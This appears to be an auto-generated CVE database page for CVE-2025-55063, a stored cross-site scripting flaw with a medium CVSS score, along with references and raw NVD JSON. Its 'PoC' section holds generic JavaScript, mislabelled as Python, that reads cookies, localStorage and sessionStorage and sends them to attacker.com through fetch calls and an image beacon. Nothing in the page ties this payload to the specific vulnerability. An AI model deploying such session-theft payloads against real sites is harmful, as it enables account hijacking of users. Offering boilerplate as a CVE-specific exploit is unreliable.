CVE-2025-55063

Description

CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

所有未修复该漏洞的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-55063 Stored XSS PoC -->
<!-- Attacker injects malicious script via vulnerable input field -->
<script>
  // Steal victim session cookies
  var stolenCookies = document.cookie;
  
  // Send stolen data to attacker controlled endpoint
  fetch('https://attacker.com/steal?data=' + encodeURIComponent(stolenCookies), {
    method: 'GET',
    mode: 'no-cors'
  });
  
  // Alternative: DOM-based cookie theft
  new Image().src = 'https://attacker.com/log?cookie=' + document.cookie;
</script>

<!-- XHR/Fetch based exfiltration -->
<script>
  fetch('https://attacker.com/exfil', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: localStorage,
      sessionStorage: sessionStorage
    })
  });
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55063
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55063
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55063/
[4] VulDB https://vuldb.com/cve/CVE-2025-55063
[5] https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55063", "sourceIdentifier": "[email protected]", "published": "2025-12-29T18:15:43.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0", "source": "[email protected]"}]}}